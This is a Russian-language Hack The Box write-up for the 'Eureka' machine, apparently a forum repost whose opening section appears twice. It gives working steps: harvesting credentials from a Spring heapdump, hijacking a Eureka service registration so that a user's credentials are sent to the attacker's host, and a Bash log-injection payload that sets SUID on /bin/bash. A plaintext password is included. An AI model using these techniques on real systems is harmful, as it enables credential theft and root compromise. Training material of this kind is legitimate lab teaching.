stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как получить приватные данные из дампа кучи Spring Boot, а затем завладеем доступом к системе Eureka. Через ее сервисы извлечем приватные данные пользователя и сессию на хосте. Для повышения привилегий используем уязвимость в пользовательском анализаторе логов.
Наша конечная цель — получение прав суперпользователя на машине Eureka с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень задания — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел три открытых порта:
Главная страница сайта
или Зарегистрируйся, который поможет быстро определить, какие технологии используются на веб‑сервере.
Для просмотра ссылки Войдиили Зарегистрируйся
Nuclei определил доступный эндпоинт Spring actuator/heapdump, который предоставляет дамп кучи из JVM-приложения. Скачиваем дамп и парсим с помощью утилиты Для просмотра ссылки Войдиили Зарегистрируйся. Там мы сможем найти различные важные данные вроде секретов и даже паролей.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
В итоге находим учетные данные для базы MySQL и для сервиса Eureka, который работает на порте 8761.
Главная страница Eureka
Ссылки в сервисе Eureka дальше нас не продвинули, мы получаем одну и ту же страницу с ошибкой.
Ошибка Eureka
Учетные данные для MySQL позволяют нам авторизоваться и по SSH.
Сессия пользователя oscar190
или Зарегистрируйся. В поисках информации об этом сервисе находим хорошую статью Для просмотра ссылки Войди или Зарегистрируйся, в которой можно найти эндпоинты для подключаемых приложений, а также примеры запросов.
Справка из статьи
Ручка /eureka/apps отдаст нам XML-файл со спецификациями подключенных приложений Eureka.
Конфигурационный файл
Внимание привлекает приложение USER-MANAGEMENT-SERVICE. Судя по XML, приложение связывается с хостом 10.10.11.66:8081.
Возьмем параметры XML-файла и переделаем его в формат JSON по примеру из блога. Вместо ipAddr и port, а также всех указанных адресов используем адрес своего хоста. На локальной машине открываем порт 8081 и делаем запрос к приложению /eureka/apps/USER-MANAGEMENT-SERVICE.
Спустя несколько секунд в логах листенера видим запрос авторизации, в котором передаются учетные данные пользователя miranda.wise.
Логи листенера
На удаленном сервере из файла /etc/passwd получим список пользователей с командной оболочкой.
Пользователи с консолью
Подключаемся по SSH от имени miranda-wise и забираем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загружаем на удаленный хост скрипт для Linux, даем право на выполнение и запускаем сканирование. Затем смотрим, что интересного нашел скрипт.
Содержимое каталога веб‑сервера
В каталоге /opt есть скрипт log_analyse.sh.
Содержимое каталога /opt
Так как ничего доступного для нашего пользователя мы не нашли, посмотрим, какие процессы запускаются в системе. Для этого я рекомендую использовать утилиту Для просмотра ссылки Войдиили Зарегистрируйся. В ее выводе находим запись о запуске найденного скрипта, но, что более интересно, он запускается в контексте пользователя с UID=0, а это root.
Вывод утилиты pspy64
При этом скрипту при каждом запуске указываются разные логи из каталога web с различными сервисами, к которым у нас есть полный доступ.
Содержимое каталога web
Давай глянем на скрипт log_analyse.sh. Он поочередно вызывает четыре функции, но интерес вызывает только analyze_http_statuses.
Тут есть вот такая интересная строчка:
Здесь значение для переменной code извлекается из файла и используется в сравнении. А раз мы можем контролировать содержимое логов, то и значение переменной code тоже.
Однако, если мы просто подставим вместо кода команду HTTP Status: $(echo cmd), она не выполнится, так как Bash не будет воспринимать объект Shell как число и сразу выдаст ошибку. Для проверки можно использовать слега измененный скрипт.
Ошибка выполнения команды
Мы можем использовать команду как индекс массива:
Тогда Bash сперва выполнит команду для получения индекса, а только потом выдаст ошибку. Ошибка нам не важна, так как наш вставленный код выполнится.
Результат выполнения команды
Переходим на удаленную машину и перезаписываем лог. Будем назначать S-бит файлу командной оболочки.
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Проверяем права файла /bin/bash и видим установленный S-бит.
Права на файл
Запускаем новую сессию от имени рута и читаем последний флаг.
Флаг рута
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине Eureka с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.66 eureka.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Сканер нашел три открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Nginx 1.18.0;
- 8761 — сервис Eureka.
10.10.11.66 eureka.htb furni.htb

Точка входа
Запускаем сканер Для просмотра ссылки Войдиnuclei -u [URL]http://furni.htb[/URL]
Для просмотра ссылки Войди
Nuclei определил доступный эндпоинт Spring actuator/heapdump, который предоставляет дамп кучи из JVM-приложения. Скачиваем дамп и парсим с помощью утилиты Для просмотра ссылки Войди
wget [URL]http://furni.htb/actuator/heapdump[/URL]
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
Для просмотра ссылки Войди
В итоге находим учетные данные для базы MySQL и для сервиса Eureka, который работает на порте 8761.

Ссылки в сервисе Eureka дальше нас не продвинули, мы получаем одну и ту же страницу с ошибкой.

Учетные данные для MySQL позволяют нам авторизоваться и по SSH.

Продвижение
На хосте ничего интересного мы не видим, поэтому поработаем с Для просмотра ссылки Войди
Ручка /eureka/apps отдаст нам XML-файл со спецификациями подключенных приложений Eureka.
curl [URL]http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps[/URL]

Внимание привлекает приложение USER-MANAGEMENT-SERVICE. Судя по XML, приложение связывается с хостом 10.10.11.66:8081.
Код:
<name>USER-MANAGEMENT-SERVICE</name>
<instance>
<instanceId>localhost:USER-MANAGEMENT-SERVICE:8081</instanceId>
<hostName>localhost</hostName>
<app>USER-MANAGEMENT-SERVICE</app>
<ipAddr>10.10.11.66</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8081</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1748491386459</registrationTimestamp>
<lastRenewalTimestamp>1748528161423</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1748491386459</serviceUpTimestamp>
</leaseInfo>
<metadata>
<management.port>8081</management.port>
</metadata>
<homePageUrl>http://localhost:8081/</homePageUrl>
<statusPageUrl>http://localhost:8081/actuator/info</statusPageUrl>
<healthCheckUrl>http://localhost:8081/actuator/health</healthCheckUrl>
<vipAddress>USER-MANAGEMENT-SERVICE</vipAddress>
<secureVipAddress>USER-MANAGEMENT-SERVICE</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1748491386459</lastUpdatedTimestamp>
<lastDirtyTimestamp>1748491385683</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
Возьмем параметры XML-файла и переделаем его в формат JSON по примеру из блога. Вместо ipAddr и port, а также всех указанных адресов используем адрес своего хоста. На локальной машине открываем порт 8081 и делаем запрос к приложению /eureka/apps/USER-MANAGEMENT-SERVICE.
Код:
curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '{
"instance": {
"instanceId": "USER-MANAGEMENT-SERVICE",
"hostName": "10.10.14.47",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "10.10.14.47",
"status": "UP",
"port": {
"$": 8081,
"@enabled": "true"
},
"securePort": {
"$": 443,
"@enabled": "false"
},
"countryId": 1,
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
},
"homePageUrl": "http://10.10.14.47:8081/",
"statusPageUrl": "http://10.10.14.47:8081/actuator/info",
"healthCheckUrl": "http://10.10.14.47:8081/actuator/health",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"secureVipAddress": "USER-MANAGEMENT-SERVICE"
}
}'
Спустя несколько секунд в логах листенера видим запрос авторизации, в котором передаются учетные данные пользователя miranda.wise.

На удаленном сервере из файла /etc/passwd получим список пользователей с командной оболочкой.
cat /etc/passwd | grep bash

Подключаемся по SSH от имени miranda-wise и забираем первый флаг.

Локальное повышение привилегий
Текущий пользователь состоит в группе developers. Нам нужно собрать информацию, которая поможет в повышении привилегий. Я буду использовать для этого скрипт из набора PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагружаем на удаленный хост скрипт для Linux, даем право на выполнение и запускаем сканирование. Затем смотрим, что интересного нашел скрипт.
Каталог /var/www/web принадлежит группе developers.

В каталоге /opt есть скрипт log_analyse.sh.

Так как ничего доступного для нашего пользователя мы не нашли, посмотрим, какие процессы запускаются в системе. Для этого я рекомендую использовать утилиту Для просмотра ссылки Войди

При этом скрипту при каждом запуске указываются разные логи из каталога web с различными сервисами, к которым у нас есть полный доступ.

Давай глянем на скрипт log_analyse.sh. Он поочередно вызывает четыре функции, но интерес вызывает только analyze_http_statuses.
Код:
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
Тут есть вот такая интересная строчка:
if [[ "$existing_code" -eq "$code" ]]
Здесь значение для переменной code извлекается из файла и используется в сравнении. А раз мы можем контролировать содержимое логов, то и значение переменной code тоже.
Однако, если мы просто подставим вместо кода команду HTTP Status: $(echo cmd), она не выполнится, так как Bash не будет воспринимать объект Shell как число и сразу выдаст ошибку. Для проверки можно использовать слега измененный скрипт.
Код:
#!/bin/bash
STATUS_CODES=(
"200:3"
)
analyze_http_statuses() {
local log_file="$1"
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
echo $code
found=0
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
echo "start"
if [[ "$existing_code" -eq "$code" ]]; then
echo "if"
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
found=1
break
fi
echo "finish"
done
if [[ "$found" -eq 0 ]]; then
STATUS_CODES+=("${code}:1")
fi
done < <(grep "HTTP.*Status: " "$log_file")
}
LOG_PATH="test.log"
analyze_http_statuses "$LOG_PATH"

Мы можем использовать команду как индекс массива:
HTTP Status: mass[$(echo cmd > test)]
Тогда Bash сперва выполнит команду для получения индекса, а только потом выдаст ошибку. Ошибка нам не важна, так как наш вставленный код выполнится.

Переходим на удаленную машину и перезаписываем лог. Будем назначать S-бит файлу командной оболочки.
rm -rf /var/www/web/cloud-gateway/log/application.log ; echo 'HTTP Status: mass[$(chmod u+s /bin/bash)]' >> /var/www/web/cloud-gateway/log/application.log
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Проверяем права файла /bin/bash и видим установленный S-бит.

Запускаем новую сессию от имени рута и читаем последний флаг.
/bin/bash -p

Машина захвачена!